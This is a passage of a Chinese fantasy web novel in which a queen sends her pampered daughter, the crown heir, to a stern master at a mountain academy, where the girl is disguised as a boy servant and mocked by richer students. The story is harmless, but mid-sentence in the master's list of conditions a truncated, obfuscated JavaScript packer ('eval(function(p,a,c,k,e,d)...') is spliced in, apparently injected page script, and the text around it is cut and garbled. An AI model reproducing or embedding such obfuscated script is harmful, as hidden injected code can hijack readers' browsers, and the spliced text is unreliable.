就在她心乱如麻之际,一名负责传递绝密信息的暗卫,如同鬼魅般悄无声息地出现在殿内,单膝跪地,呈上了一份用特殊灵力封印的来自北境的密报。 魏勉强撑着坐起身,接过密报,挥手让暗卫退下。她指尖灵力微吐,解开封印,展开那薄薄的、却可能承载着千钧之重的信纸。这是她安插在北辰钟灵书院的心腹传回的关于裴景珑成长情况的报告。 她不是没有动过让那个同样天赋异禀的裴氏之子“意外”陨落在艰苦修行中的念头。但一来觉得做得太绝,容易留下痕迹,反而不美;二来,她也存着一丝观察和利用的心思,想看看这裴景珑究竟能成长到何种地步,或许将来也能成为一枚有用的棋子。 然而,今日密报上的内容,却让她的瞳孔再次收缩。 “......裴景珑入学四年,于紫微宫表现卓异,心志坚韧,修为精进神速。近日已突破灵力场外放关隘,其场域范围已可稳定覆盖二十丈!同辈之中,无出其右者。莫宗师对其亦颇为关注,评语‘雷霆淬体,璞玉初成’......” 十岁!灵力场覆盖二十丈!这等速度......比当年的她,甚至比现在的恒儿,都要快上不止一筹! 魏勉只觉得那刚刚平复一些的头痛,再次剧烈地袭来! 不行!不能再等了!必须立刻采取行动,将一切可能的威胁,都扼杀在萌芽状态!或者,至少要让恒儿拥有足以应对一切挑战的、绝对的优势! 一个清晰的念头,在她脑中形成。 她立刻传令,召昭彦速回。 待昭彦安抚好魏瑶,匆匆赶回时,魏勉已经重新整理好仪容,虽然脸色依旧有些苍白,但眼神已经恢复了属于王上的冷静与深邃。 “昭彦,”她开门见山,“孤思虑再三,觉得恒儿的修行,不能再耽搁了。” 昭彦一愣:“王上此言何意?恒儿不是一直在勤学苦练吗?” “寻常的勤学苦练,对她这般的天赋而言,还不够!”魏勉语气凝重,“孤虽亲自教导,但毕竟政务繁忙,精力有限。而且孤擅长的风火之道,未必完全契合恒儿自身的灵力特性。若想让她真正将潜力发挥到极致,未来能担起宵朝重任,必须寻访当世最顶尖的宗师,为她量身定制修行之路!” 昭彦皱眉:“王上所指的宗师是......?” “莫万方。”魏勉缓缓吐出这个名字,眼中闪过一丝极其复杂的光芒,有敬重,有怀念,也有一丝难以言喻的怅惘。 她看着昭彦,语气变得悠远而郑重:“昭彦,你随我征战多年,但或许不知,孤与钟灵书院那位莫万方宗师,并非只有师徒名分那般简单。”她的目光仿佛穿透了时空,回到了那个战火纷飞的年代,“当年天下未定,群雌并起,孤还没继承望北城之时,便曾与她在最残酷的战场上并肩作战,一同经历过九死一生的考验。” “她于我,是严师,点拨我灵力运用的关窍,传授我统御战场的兵法;她更是益友,我们曾无数次在篝火旁彻夜探讨战略,在生死关头将后背托付给彼此。我们之间,有着旁人难以想象的深厚交情与惺惺相惜。” 魏勉的声音里带上了一丝不易察觉的感慨,“若非......若非后来她遭遇巨变,心灰意冷,选择远遁北境、归隐书院,以她的资历、威望与那份洞察战局的帅才,本该与孤一同,坐镇这朝堂之上,同享这太平盛世。” 她收回思绪,目光重新聚焦在昭彦脸上,语气充满了对莫万方能力的绝对信任:“莫宗师隐居书院多年,潜心研究灵力本源与因材施教之法,放眼天下,若论谁能真正看透恒儿的天赋极限,并给予最精准有效的指点,非她莫属!” 她握住昭彦的手,眼中充满了对女儿未来的期盼:“所以,孤想让你亲自带恒儿去一趟钟灵书院。一来,代孤向莫宗师问安,呈上孤的亲笔信,叙叙旧情;二来,便是厚着脸皮,请她这位老友兼前辈,为我们的恒儿,好好看一看根骨,评定天赋几何,指点一条最适合她的修行之路。” 昭彦听完,心中恍然。原来王上是在为恒儿的长远计。能得到莫万方那等传奇人物的指点,对恒儿而言,确实是天大的机缘! “臣明白了。”昭彦郑重点头,“王上深思熟虑,皆是为恒儿着想。臣定不辱使命!” “好。”魏勉眼中露出欣慰之色,“不过,此行路途遥远,北境亦非坦途,恒儿身份贵重,安全必须万无一失。”她语气变得严肃,“孤会指派三位得力将军随行护卫,再加派亲卫一营,另有数十名暗卫沿途策应。务必确保太子一路平安抵达北辰钟灵书院。” 如此兴师动众,足以显示王上对太子安危的极致重视。昭彦心中最后一丝顾虑也打消了,只剩下领受重任的决心。 “王上放心!臣定会护得太子周全,并将莫宗师的指点,一字不落地带回!” “嗯,”魏勉点了点头,疲惫地靠回软枕上,“去吧,好生准备。此事宜早不宜迟。” 看着昭彦领命退下去准备行程的挺拔背影,一幕幕久远的,过往回忆的画面,在魏勉的脑海中如潮水般翻涌。 莫万方......以你的眼力,定能看出恒儿天赋的极限。 让我看看,你这位昔日的老友,会给我一个怎样的答案,又会如何指点我的太子呢? 23. 金枝玉叶,尊贵太子变小厮 在动身前往北辰钟灵书院之前,太子魏恒如同一株被圈养在最精致、最温暖的琉璃花房中的珍稀仙植,对外界的风霜雨雪,只有着故事书里最浪漫的想象。 她的生活,是被无数双恭敬的手,细致入微地托举起来的。 她一天的日子,便是从卯时三刻,金兽香炉里那最后一缕由海南沉水异种琼脂燃尽的青烟中醒来的。往往眼睫毛还未动一下,侍立在床侧的一等大宫人们,便已如无声的影子般,将一盆用新采的百花晨露兑了温汤的小银盆捧至跟前。自有手脚最轻巧的宫人,用最柔软的素纱软巾,为她细细将脸面擦拭干净。漱口用的,则是专门从南境快马送来的青盐,研得细细的,配着一柄由整块南海温玉雕琢而成的、镶着雪兔颈下最软一撮绒毛的小牙刷。 梳洗穿戴,更是一番仪仗。四个专司服侍的宫人,两个负责展开那件用冰原雪蚕所吐之丝织就的云锦小袄,一个负责为她穿上用南海鲛绡制成的中衣,还有一个则捧着白玉托盘,上面是各式小巧精致的、用来束发的金簪玉环。她身上那件看似寻常的浅紫色对襟小袄,其内衬上,皆是由王上魏勉闲暇时,亲手以曜金之线密密绣上了九个小小的避祸驱邪的凤凰篆文,以抵御寻常的物理与灵力偷袭。 太子殿的小厨房,其规模与用度,甚至堪比宫外一个小型世家的主厨。每日都要备下足足一百零八道菜品点心,用十六个由内务府造办处精制的填漆云龙纹小捧盒呈上来,摆满一整张紫檀木长桌。官窑烧制的粉彩小碟里,盛着南境快马加急送来的冰纹玉荔,或是用文火慢炖了十二个时辰的雪顶龙兽的嫩肋。 魏恒的胃口却娇得很。往往是昭彦亲自坐在旁边半哄半劝,亲手为她剥了玉荔的壳,用小银刀剔去核,将那晶莹剔透的果肉放在白玉小碗里递到她嘴边,她才肯赏脸吃上一两颗。更多时候,她也只用一小碗拿灵蜜调和的上品官燕,再就着一块御用点心师按她的口味特制的、甜而不腻的松仁牛乳糕,便算是用完了一餐。 她唯一需要亲力亲为的“苦差事”,便是在魏勉严厉目光的注视下,进行每日三个时辰的灵力苦修 。可即便如此,训练的场地也是铺着最柔软的灵兽皮毯,四周有宫廷灵匠布下的高级防护法阵,稍有不慎,立刻便有数名宫人上前护持。 除了修炼,她最大的乐趣,便是和哥哥魏煜一起,在广阔的御花园中,玩着“将军与副将”的战争游戏。她会学着母亲的样子,威风凛凛地指挥着一群宫人扮演的士兵,去攻占一座由太湖石堆砌的假山。 在她的世界里,战争是荣耀的,生活是富足的,所有人都会对她笑脸相迎,而最大的烦恼,或许仅仅是今日的点心不够甜,或是爹爹因为军务繁忙,而没能准时给她讲睡前故事。 而爹爹昭彦,这位从血火中走出的传奇力者,在面对女儿时,会收敛起所有的锋芒,化作最温柔的港湾。他从不会对魏恒进行严苛的说教,而是将所有的教导都融入了游戏中。他会用上好的沉香木,亲手为魏恒削一把没有开刃的、圆滚滚的小木剑,然后在御花园的草地上,扮演一只笨拙的大熊怪,故意被魏恒用小木剑打得“落花流水”,逗得女儿咯咯直笑。每当魏恒练功出了一身薄汗,他也总是第一个捧上用晨露冰镇过的瓜果汁,再用柔软的丝巾,小心翼翼地为她拭去额角的汗珠,眼神里的宠溺几乎要溢出来。 而魏勉,这位说一不二的开国王上,总会在某些处理完政务、心情尚好的午后,带着魏恒来到宫中那座可以俯瞰整个京都的观星台上。她不会讲那些枯燥的灵力理论,而是会指着远方,用一种充满了征服之美的骄傲语气告诉魏恒:“看到那条贯穿城南的大河了吗?当年孤就是在那,一招火龙卷,焚尽了最后的五万叛军。” 有时,她还会兴之所至,与女儿玩一些灵力游戏。她会指尖微动,以她那出神入化的风灵之力,将满园的落叶卷成一只栩栩如生、振翅欲飞的凤凰,在空中盘旋舞动,引得小魏恒拍手欢呼,眼中充满了对母亲那神祇般力量的无限崇拜。 更重要的是,尽管魏勉的后宫日渐充盈,但她与首夫昭彦之间那份少年时便已刻入骨髓的情感,却依旧是整个后宫最稳固的基石。她见过无数臣工在母亲面前战战兢兢,也见过那些新晋的,俊美爱笑的侍君叔叔们在母亲面前百般讨好,却唯独只见过她的爹爹,能让那个无所不能的母皇,露出放松而依赖的神情。这份无需言语的默契与恩爱,为魏恒营造了一个极其稳定、幸福和睦的家庭氛围。 除了父母之外,魏恒最喜欢的大人,是她的太师——当朝首辅大臣,雍华鹤 。 在外人眼中,雍首辅是严肃的,是那位敢在朝堂之上迎着君王雷霆之怒也寸步不让的国之柱石。她常年穿着一身洗得发白却依旧整洁挺括的青色儒士长袍,身上总带着一股清冷的墨香与一丝不容侵犯的风骨。 然而,在小太子面前,雍大人身上那份属于首辅大臣的凌厉与威严便会如同春日薄冰般悄然融化。她那总是因思虑国事而微蹙的眉头会舒展开来,锐利的眼神也会化作一池温润的秋水,只剩下对眼前这个小女孩毫不掩饰的慈爱与欣赏。 她从不讲解那些枯燥的法条或经义,她的课堂,永远是从一盏她亲手烹煮的、适合孩童饮用的清甜花茶和一则引人入胜的故事开始的。 她会给魏恒讲历史,讲那些权力的兴衰,将相的得失,但讲的不是年份和事件,而是“那个因为一道错误命令而导致十万大军覆灭的将军,她那天早上,其实只是因为没睡好而多喝了一杯酒”;她会给魏恒讲宫墙外的世界,讲那些南来北往的商队如何巧妙地利用南北货物的价差与信息的不对等,在短短数月间积累起巨额的财富;讲某个被山洪困扰了百年的小镇,最终是如何依靠一位无名女子发明的水利机关而得以世代安宁。 每一个故事都充满了奇闻逸事的趣味,让魏恒听得如痴如醉。而每当故事讲完,雍华鹤才会慢悠悠地从中提炼出一两个最深刻的道理,用最浅显的方式,揉碎了讲给魏恒听。 她常常因为故事太精彩而缠着雍华鹤不让走,小小的身体蜷缩在太师身旁的软榻上,听着雍华鹤那温和而充满智慧的声音,不知不觉便抱着靠枕沉沉睡去。而雍华鹤,也总会无奈又宠溺地笑笑,为这位未来的储君轻轻盖上一层薄薄的锦被。 她恰如那养在九重宫阙碧纱橱里的金丝雀,又似那供在白玉瓶中的一枝绝艳牡丹,对人间是全然不知的。这份极致的尊贵与保护,也让她比同龄人更多了几分不谙世事的善意与天真。 然而,当魏恒在京都皇城无忧无虑地成长时,来自千里之外北境书院的密报,也定期呈送至魏勉的案头。密报上,裴景珑的名字出现的频率越来越高——那个被魏勉亲自远送的将门之子,在北辰钟灵书院那严苛如炼狱般的环境中,不仅没有被磨去棱角,反而如同被投入风炉的雷霆璞玉,迸发出了远超预期的璀璨光芒。 于是,在魏恒九岁生辰之后,一道不容置疑的谕令,彻底打破了太子殿下那无忧无虑的童年——她将远赴北境接受教导,以勘验是否真正拥有匹配未来王座的器量与坚韧。 在三人的设想中,这不过是一次短暂的,为期至多月余的北上问学之旅。 魏恒心中没有离愁,反而充满了对第一次远行的新奇与兴奋。她兴致勃勃地指挥着宫人,为自己那只心爱的灵羽鹦鹉也备上一个小巧的鎏金笼子,盘算着要带上哪几本太师还未讲完的话本,好在路上解闷。在她看来,此行不过是去见一位母皇口中很厉害的“大师”,让她瞧瞧自己的本事,然后便能风风光光地载誉而归。 昭彦心中虽有不舍,但更多的也是为人父的骄傲与细致的关怀。他亲自检查着车驾中负责避震的灵力法阵是否稳固,又往车里塞了厚厚两层最柔软的雪狼皮毯子,预备了十数样女儿平日里最爱吃的能久存的点心蜜饯,只怕女儿在路上会受哪怕一丝一毫的委屈。 魏勉也只是将此行看作一次储君必要的镀金之旅。她更关心的,是给莫万方带去的国礼是否合乎规制,她亲笔信中的措辞,是否既能全了故人情面,又不失君王身份。 终于,经过长途跋涉,穿越了宵朝广袤的北方疆域,昭彦魏恒一行终于抵达了传说中的断云山脉深处。 越是靠近目的地,道路便越是艰险。最终,庞大的护卫队伍只能止步于一处隐秘的山谷隘口。昭彦谢绝了将军们想要继续护送的好意,只带着贴身的两名早已换上不起眼服饰的顶尖暗卫,亲自背着九岁的魏恒,踏上了那条蜿蜒向上,几乎是嵌刻在悬崖峭壁之上的通往北辰钟灵书院的唯一崎岖石阶。 云雾在脚下翻滚,罡风在耳边呼啸。魏恒虽然继承了母亲的胆识,也被这壮丽而险峻的景象所震撼,小脸紧绷,紧紧抓着昭彦的手。 “爹爹......这里好高啊......” “别怕,恒儿,”昭彦声音沉稳,给予女儿力量,“抓住爹爹的手。莫宗师的道场就在这云深之处。” 当他们最终穿过云雾,抵达那座仿佛与天地同寿的巨大登天门前,并验明身份被引入书院内部时,即使是见惯了大场面的昭彦,也不由得为这座悬崖之上的学府的肃穆、清苦与那股沛然的灵力威压而暗自心惊。 没有想象中的仙乐飘飘,奇花异草。只有古朴坚硬的岩石建筑,穿着统一灰色院服、神情专注的学子,以及那无处不在的严苛到近乎刻板的规矩气息。 他们被一名寡言的执事,引着穿过数道回廊与悬空石桥,最终来到了一处位于山体深处极为僻静的石窟道场之外。 “莫宗师就在里面等候,首夫大人和太子殿下请自行入内。”执事行了一礼,便悄然退下。 昭彦深吸一口气,整理了一下衣冠,又蹲下身替魏恒理了理略显凌乱的小袍子,柔声道:“恒儿,一会儿见到莫宗师,要有礼貌,知道吗?她是母皇非常敬重的前辈。” “嗯!恒儿知道!”魏恒用力点头,小脸上满是认真和一丝好奇。 昭彦这才牵着女儿的手,走进了石窟。 石窟内意外地宽敞,却异常简朴。除了必要的石桌石凳、几个蒲团,以及墙壁上悬挂的一些看不懂的星图或符文拓片外,几乎没有任何装饰。一位身着同样灰色朴素长袍、面容清癯的女子,正盘膝坐在一张蒲团上闭目养神。 她并未刻意散发灵力,但昭彦却能感觉到一种无形的、浩瀚如同宇宙星辰般的气场,让他这位身经百战、意志坚定的副将,都不由自主地屏住了呼吸。 “宵朝首夫昭彦,携小女魏恒,拜见莫宗师。”昭彦恭敬地行了一个大礼。 魏恒也学着父亲的样子,行了个稚嫩却标准的礼:“魏恒拜见莫宗师。” 莫万方缓缓睁开了眼睛。她的目光先是在昭彦身上停留了一瞬,微微点头,随即落在了魏恒身上,仔仔细细地打量着。 魏恒被她看得有些紧张,小身板不由得挺得更直了。 “嗯......”莫万方终于开口,声音平淡无波,听不出喜怒,“血脉精纯,灵力磅礴,根骨确是万中无一的上上之姿,不愧是她的女儿。” 昭彦心中一喜,刚想开口,莫万方却话锋一转:“但......” 这一个“但”字,让昭彦的心瞬间提了起来。 莫万方看着魏恒,继续道:“......过于锋芒毕露,灵力运转刚猛有余,圆融不足,失之灵动。且心性之中,骄娇之气过重,坚韧沉静不足。这孩子,空拥一座力量宝山,却还未找到真正开启宝藏、运用自如的法门。” 她的评价一针见血,毫不留情。 昭彦的心沉了下去,忙道:“宗师明鉴!王上正是因此,才恳请宗师您......” 莫万方抬手打断他:“魏勉的心思,我岂能不知?”她嘴角露出一丝若有若无的了然笑意,“她是怕这孩子将来压不住阵脚,镇不住场子,更压不住同辈之中那些可能出现的‘对手’吧?” 昭彦心中一惊,不知该如何回应。 莫万方却不再看他,只是重新看向魏恒,目光变得更加深邃,仿佛要将这个小小的储君从里到外看个通透。殿内陷入了令人窒息的沉默,只有烛火偶尔跳动的轻响。 良久,莫万方才缓缓开口:“这孩子的潜力,确实极大。风火双系,又得魏勉本源传承,若能好生引导,未来成就,或可超越她与我当年。” 昭彦闻言,眼中重新燃起希望! “但,”莫万方再次说道,语气斩钉截铁,“若想将这份潜力真正化为实力,尤其是成为一名合格、甚至超越前人的统率,光靠按部就班的修炼,或是温室里的呵护,是绝无可能的!” 她看着昭彦,眼神锐利:“她需要的不只是技巧的打磨,更是心性的锤炼。需要一个能让她那过于强大的灵力,找到真正‘魂’的契机。” 昭彦听得心头震动,恭声道:“请宗师明示!” 莫万方沉吟片刻,道:“也罢。看在故人的情分上,也看在这孩子确是块难得的璞玉......我便亲自带她六个月。” 昭彦大喜:“多谢宗师!” “先别谢。”莫万方语气依旧平淡,“我有我的规矩。” 她伸出手指,点了点魏恒:“第一,这六个月内,在书院之中,她不许再自称‘魏恒’,更不许暴露太子身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其三,则是心性上的极致磨砺。从金尊玉贵的灵主、太子,变为任人差遣的男童、小厮,这本身就是一种从云端跌落尘埃、从极致尊贵到极致低微的巨大落差。莫万方要的,便是要借此机会,彻底磨掉她身上最后一丝骄娇之气,锻炼她不论以何种身份、何种形态生存,都能坦然面对、从容处之的强大内心。 “第三,”莫万方对二人的惊讶视若无睹,“白日里,她便以这小厮身份,负责我这道场和学院的日常杂务,端茶倒水,洒扫庭除。同时,可在旁默听我对其他弟子的教诲,能领悟多少,全看她自己造化。” “到了夜晚,待此间事了,她可恢复本来面貌,随我到后山试炼场,接受我单独的、真正的实操训练。” 昭彦听完这三个条件,脸色变了又变。不许暴露身份,还要扮成身份低微的男孩,白天当小厮打杂......这......这哪里是教导太子,分明是...... 他看向身旁变了模样的女儿,只见此刻是男孩模样的魏恒虽然也有些懵懂,但眼中却闪烁着好奇与跃跃欲试的光芒,似乎觉得这个“游戏”很有趣。 昭彦明白莫万方的意图。这是要从根子上打磨恒儿,让她褪去骄娇之气,真正沉淀下来! 可一想到要将自己金枝玉叶的女儿,留在这个人生地不熟、条件艰苦还要乔装打扮受人差遣的地方......他的心,就像被无数根针扎着,疼得无以复加。 他看向莫万方,张了张嘴,想要求情,想说能不能换种方式? 但莫万方只是平静地看着他,眼神中带着一种“要么接受,要么带她离开”的淡漠。 昭彦的目光再次落到女儿身上。他知道,恒儿未来的路,绝不会平坦。若没有钢铁般的意志和真正强大的实力,她根本无法坐稳那个位置,更遑论守护宵朝。 他闭上眼睛,再睁开时,眼中已只剩下决绝。 他对着莫万方,深深一揖:“一切全凭宗师安排。这孩子......便拜托您了!” 他蹲下身,紧紧抱了抱已经变成小男孩模样的女儿,声音带着一丝哽咽:“恒儿......爹爹要回去了。你要听莫宗师的话,好好修炼,照顾好自己......爹爹很快就回来看你。” 他看着眼前这个已经变成了眉清目秀小男孩模样的女儿,心中有千言万语,临到嘴边,却都化作了最琐碎也最真切的叮咛。 “恒儿……”昭彦那双常年握剑、稳如磐石的手,此刻竟有些微微发颤,“到了夜里,屋里冷,记得要把爹爹给你的那张雪狼皮毯子铺在最里面……吃东西前,一定要先用银针试一试,爹爹教你的,还记得吗……” 他絮絮叨叨,将所有能想到的细节都说了一遍,仿佛想用这些琐碎的言语,将女儿未来的生活编织进一个安全的茧里。 然而,他怀里的魏恒,却似乎全没听进去。她正新奇地摸着自己那与往常摸起来感觉不太相同的身体,又扯了扯身上这套灰扑扑的男童短衫,甚至还试着用一种粗声粗气的嗓音“喂”了一声,然后被自己逗得直笑,眼中满是对这场新奇游戏的跃跃欲试。 对她而言,离别是什么?辛苦又是什么? 这一切都不过是母皇和太师口中一个精彩故事的开端,她将是这个故事里最厉害的主人公。 终于,她有些不耐烦地打断了父亲那满含忧虑的叮嘱,从他怀里挣脱出来,仰着小脸,用一种清脆又理所当然的语气催促道:“哎呀爹爹,你好啰嗦呀!我都记住了!你快回去吧,别耽误我跟宗师学本事了!” 昭彦所有的叮咛、所有的不舍、所有的心如刀割,在女儿这句天真烂漫却又无比残忍的话语面前,瞬间都堵在了喉咙里,化作了无尽的苦涩与酸楚。 而他,却不能说,也无法说。 最终,昭彦只能狼狈地点了点头,最后深深地、贪婪地看了女儿一眼,仿佛要将她此刻这副无忧无虑、天真烂漫的模样,永远刻入灵魂深处。 然后,他毅然转身,用尽全身的力气,头也不回地,走出了石窟。 他怕自己再多留一刻,便会不顾一切地,将她带回那个温暖安全的黄金鸟笼。 他没有立刻离开书院,而是在山门外,对着那两名一直隐藏在暗处的他最信任的贴身暗卫,用最严厉的语气下达了死命令: “从今日起,你们便留在此地。无论用任何方法,必须确保太子殿下安全无虞!若殿下有半分差池......你们提头来见!” “属下遵命!”两名暗卫如同影子般融入了山石之中。 做完这一切,昭彦才终于踏上了返回京都的路。 一路之上,他心如乱麻,既有对女儿未来的期盼,更有对她留在险地的无尽担忧与心痛。 但他知道,这是必须付出的代价。为了女儿能真正展翅高飞,他这个做父亲的,必须学会放手。 只是这放手的滋味,太过苦涩。 24. 书院轶事,坠龙浅嗅野玫瑰 初夏时节,断云山脉上的气温依旧带着几分清凉。北辰钟灵书院的学堂沿崖壁而建,古朴肃穆。朗朗的诵读声和灵力运转的嗡鸣声从敞开的窗户传出,与山间的风声鸟鸣交织在一起。 廊下,一个穿着明显不太合身的灰色粗布短衫的小身影,正吃力地端着一个沉重的木质茶盘,上面摆放着十几个茶杯和一柄温热的茶壶。 这便是乔装改扮,化名为“小风”的魏恒。 她小心翼翼地挪动着脚步,小脸绷得紧紧的,额角渗出细汗。她手中那只由书院统一配发的最寻常不过的黑漆木茶盘上,只放着一柄装着滚烫热水的粗陶提梁壶,以及几个厚壁的青瓷茶碗。 “好重......手好酸......我是太子!未来的宵朝之主!为什么要干这种又笨又累的破活儿?!端茶倒水......那些宫人做得都比我好!都怪母皇和那个莫宗师......”她那充满了新奇和兴奋的一腔热血很快就被这枯燥又劳累的杂活浇灭,想起自己金枝玉叶的生活,再对比此刻,鼻头一酸,眼眶有些发热。 这便是她今日的差事——为在庭院中歇息的几位紫微宫师姐送去解渴的茶水。 “……我跟你们说,前几日我家暗地里托人新送进来的那件用南海鲛绡制的披风,上面的流云暗纹,若不用灵力仔细看,竟是瞧不出来的,那般精巧……” 一阵如同碎玉冰盘般清脆而明亮,又带着几分得意与张扬的笑语声,从那月亮门后传了过来。 魏恒心中一凛,脚步下意识地慢了半分。 只见一个学子被众星捧月般地簇拥着,从月亮门后转了出来。 魏恒看着来人,只觉得有几分说不出的眼熟。尤其是她嘴角那抹似笑非笑又带着些挑剔和得意的神气,让魏恒的记忆在脑海里浮了上来。 那是四五年前的秋天,宫中举办的一场赏菊宴。当时一位以才情闻名的世家男童,赋诗一首,中规中矩,得了不少赞誉。 唯独当时约摸着也就六、七岁的柳若霆,在众人夸赞时,发出一声极轻的嗤笑,像个小大人似地说道:“诗是好诗,字字对仗,句句工整,像是拿戒尺一笔一划量出来似的,半分错处也无,可敬,可敬。”声音不大,却刚好能让周围一圈人都听见。 一句话,便让那位小公子的脸色骤然变得极其难看。那份夹枪带棒的刻薄与毫不掩饰的张扬,给当时同样年幼的魏恒,留下了极其深刻的印象。 是了,便是她!京城新晋的那个柳家!这柳若霆,当初在京都便是一副眼高于顶的做派,没想到来了这清苦的书院,这股劲儿倒是半分未改。 她身上穿的,确是与旁人无异的紫微宫院服。但不知为何,这身在旁人身上显得有几分沉闷刻板的院服,穿在她身上,却偏生出几分说不出的讲究。 那院服的料子,细看之下,并非寻常的棉麻,而是一种带着极淡暗纹的、据说唯有南境大家才能织就的云织锦,在日光的某个角度下,会泛起一层若有若无的流动光晕。明明是同样的款式,穿在她身上,那腰身却收得恰到好处,衣摆的垂坠感也极佳,行走之间,如同流动的紫色烟霞。 院规不许佩戴多余饰品,她便在细节上做足了文章。腰间束着的,并非书院统一发放的布带,而是一条由整张蛟龙皮鞣制而成、看不出任何标识的墨紫色腰带,带扣是以乌金打造成的一个极其简约却又线条流畅的竹节样式。长发用一支乌木簪子高高绾起,簪头一点色泽深邃的紫玉,在阳光下微微一闪,便再看不见了。 当她走近时,一股极清冽又带着一丝甜意,像是雪后腊梅混合着某种名贵香料的独特气息,便若有若无地飘了过来。 她一眼便瞥见了端着茶盘正准备躬身行礼的小风,连让他行礼的机会都没给,直接几步上前,用手中那柄小巧的檀香扇,不轻不重地在小风的茶盘上一点,发出一声清脆的声响。 “站住。”她的声音依旧带着笑意,眼神却上下打量着那粗陋的茶具,毫不掩饰其中的嫌弃与轻蔑,“这是什么?给那些在泥地里打滚的破军殿小子们解渴的大碗茶吗?就拿这种东西,来给我们用?” 她身后的几个学子闻言,都发出了轻笑。 魏恒的脸瞬间涨红,低着头,声音细若蚊蚋:“回师姐......厨房今日只备了这些......” “罢了,本也没指望你们这些杂役能有什么见识。”柳若霆用扇子掩口,打断了她,随即用一种理所当然的、教导蠢笨下人般的语气,不紧不慢地说道: “你,现在就去。取山巅之上日出前承下的第一捧雪水来,用银霜炭烧到蟹眼已过鱼眼生的火候。茶呢,就用我昨日刚让人送来的、南境新贡的雀舌金毫。器皿嘛,也别用你们这些粗苯的家伙了,去天市宫那边,问她们讨几个新烧制的、那种薄如蝉翼的月白釉小盏来用。记着,第一泡需用以醒茶润器,第二泡须得高冲低倒,方能激出茶香。去吧,快去快回,别让我们等久了。” 这一番话说得行云流水,充满了不容置喙的讲究与派头。 魏恒听着,心中却早已翻了无数个白眼: “呵,还知道用雪水醒茶.....不过宫里用的都是昆仑玉泉峰顶上带回来的隔年雪,你这后山上的雪水,杂质多,味也涩,差远了。还有那月白釉的小盏?那是母皇三年前就嫌样式老旧,赏给宫人们用的了。如今宫里都用更精巧的雨过天青撇口盏......” 她心里腹诽得痛快,面上却不敢流露分毫,只能露出一副又为难又惶恐的神情,结结巴巴地说道:“师姐......这雪水,还有那茶盏......我只是个小厮,怕是拿不到的......” 柳若霆脸上的笑容终于收敛了,眼中闪过一丝不耐烦。她本也不是真要喝那口茶,不过是借机显摆自己的讲究与身份,顺便敲打一下这个新来的看起来呆头呆脑的小厮罢了。见他这副不成器的模样,更是失了兴致,便挥手让他离开。 魏恒连忙加快脚步逃离,可越急越乱,脚下一个踉跄,手中的茶盘“哐当”一声巨响,重重摔在地上! 茶杯碎裂,滚烫的热水溅了一地,也溅湿了她的裤腿和鞋面。 “哈哈哈哈!” 廊檐下的几个学子爆发出毫不掩饰的哄笑声,柳若霆伸出一只做工精致的鞋踢开了地上的碎片。 魏恒的脸瞬间涨得通红!是气的,也是羞的! 你们敢这样对我!等恢复身份......哼!看我怎么收拾你们! 但莫宗师严厉的叮嘱和爹爹临行前担忧的眼神又浮现在脑海。 她死死咬住嘴唇,逼回几乎要夺眶而出的泪水,蹲下身,用颤抖的小手狼狈地去捡拾那些滚烫的碎瓷片,声音细若蚊蚋,充满了屈辱:“对、对不起......各位师姐......我......我这就去重新沏一壶......” 看着他那副可怜又笨拙的样子,柳若霆等人笑得更开心了,路过他走进了学堂。 这样的意外和嘲笑,在魏恒初入书院的日子里,几乎天天上演。她从未做过任何杂役,笨手笨脚,常常出错: 送书卷跑错学宫,被教习骂得狗血淋头; 打扫庭院能不小心踩坏珍稀的灵植,被罚去洗整个学宫的床品; 旁听时因为看得太入神,无意识地跟着比划灵力手势,被发现后引来所有人的哄笑—— “看那个小厮,一介男子,还想学灵力呢?真是痴心妄想!” 甚至连破军殿那些身强体壮的男孩们,有时也会故意撞她一下,或者抢走她手中的食物,用一种带着优越感的、粗鲁的方式来欺负这个看起来格外瘦弱好欺负的小杂役。 每一次,她都只能咬着牙,把所有的委屈和愤怒咽回肚子里。她知道,在暗处,有爹爹留下的暗卫在默默守护,但他们接到的命令是,只要没有生命危险,就绝不能暴露和干预。这是她必须独自承受的磨砺。 然而,比起这些身体上的劳累和来自上位者的刁难,更让魏恒感到一种无所适从的,是某种精神上的巨大落差。 她作为小厮小风,常常有机会在庭院洒扫或在廊下侍立时,旁观那些灵主师姐们的日常。 她发现,她们的眼神,都和自己不太一样。 那是一种她难以形容的,更为成熟与清明的眼神。 她们的眼睛里,好像都藏着她看不太懂的东西——有对力量不加掩饰的野心,有对人际关系清晰的算计,有对这个世界最直接的好奇与欲望。她们的喜怒哀乐,都是那样直接而辛辣,充满了勃勃的生命力。 她们谈论的东西,也让魏恒感到既新奇又自卑。 在宫里,太师教她的是历史兴亡,是适合孩童听的大道理;爹爹陪她玩的是打败“大熊怪”的游戏;母皇则会用风灵卷起落叶,向她展示灵力那神祇般美妙的一面。 这一切都很好,庄重、正确,且充满了爱。 但在这里,她听到的却是—— “听说了吗?东海碧涛书院那边,有人创出了一种新的逆脉冲灵法,说是能让水灵之力在瞬间爆发出堪比雷霆的威力,只是极其凶险,已经被她们院里的教习给禁了!” “何止!我听我母亲说,上个月在南境闹出好大动静的那个独行侠寒鸦,你们听说了吗?据说她一个人就端掉了一个贩卖青龙髓的黑市窝点,还从三大氏族的联合围剿下全身而退了!真是太帅了!” 她们的行事风格,也有一种魏恒从未拥有过的帅气利落。她们会随手用指尖迸射出的一点火星点燃熏香,而不是等待杂役伺候;在试炼场上,她们每一个动作都干净利落,充满了实用主义的杀伤力,绝无半点花哨;在与人辩论时,她们那引经据典、辞锋锐利的模样,也带着一种魏恒所不具备的,从容的锋芒。 魏恒蹲在角落里,默默地擦拭着一根落满灰尘的廊柱,听着她们那肆意飞扬的谈笑声,心中第一次,对自己产生了深深的怀疑。 她看着那些同龄的女孩,忽然觉得自己像一个被供在锦盒里,无比名贵的前朝古董。而她们,则是生长在山野里,沐浴着风雨雷电的野生玫瑰,带刺,却也因此生机盎然。 她忽然觉得自己好幼稚。 这一刻,她作为“魏恒”的自卑,甚至超越了作为“小风”的卑微。 一日,在天市宫一间炼制课的丹房里,小风的任务是为今日当值的几位师姐送去炼制清心丸所需的各色药材。她提着沉重的食盒,将一份份用油纸包得整整齐齐的,诸如地脉紫晶、地火石之心之类的珍稀材料,一一按着名录,小心翼翼地摆放在各位师姐的炼丹台旁。 